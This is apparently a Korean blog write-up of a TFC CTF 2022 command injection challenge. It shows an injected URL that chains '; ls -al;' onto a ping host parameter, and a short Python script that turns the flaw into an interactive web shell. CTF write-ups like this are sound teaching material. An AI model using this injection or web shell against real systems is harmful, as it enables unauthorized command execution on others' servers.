1. 개요
command injection 문제
2. 분석
커맨드 인젝션 문제이며, 거의 정석입니다.
ping 요청 위해 system call을 수행하는데, & 또는 ; 구분자를 사용해서, 커맨드를 연속해서 입력합니다.
ls -al; 명령어를 삽입했고, 현재 디렉토리의 파일 목록이 보입니다.
http://01.linux.challenges.ctf.thefewchosen.com:57942/index.php?host=127.0.0.1;%20ls%20-al;
명령어 입력하는게 귀찮아서, 파이썬으로 간단한 웹쉘을 만들었습니다.
from urllib import parse
import requests
def parse_cmd(cmd):
return parse.quote(cmd, encoding='utf-8')
def request(cmd):
return requests.get(f"http://01.linux.challenges.ctf.thefewchosen.com:57942/index.php?host=127.0.0.1;{parse.quote(cmd, encoding='utf-8')}")
if __name__ == '__main__':
while True:
r = request(input())
print('r', r.text, '\n')
'CTF' 카테고리의 다른 글
[TFC CTF 2022] RULES (0) | 2022.07.31 |
---|---|
[TFC CTF 2022] SOURCE (0) | 2022.07.31 |
[TFC CTF 2022] ROBOTS AND MUSIC (0) | 2022.07.30 |
[TFC CTF 2022] OBSCURE (0) | 2022.07.30 |
[TFC CTF 2022] BASIC (0) | 2022.07.30 |